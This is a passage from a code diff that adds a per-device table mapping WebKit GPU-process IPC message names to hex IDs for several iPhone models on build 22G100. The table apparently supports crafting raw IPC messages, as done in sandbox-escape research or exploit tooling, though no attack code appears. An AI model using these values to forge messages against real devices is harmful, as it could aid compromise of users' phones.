GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone13,1_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone13,2_3_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, +"iPhone13,3_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + + "iPhone13,4_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,2_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,3_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,4_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,5_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,6_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,7_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,8_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,2_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,3_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 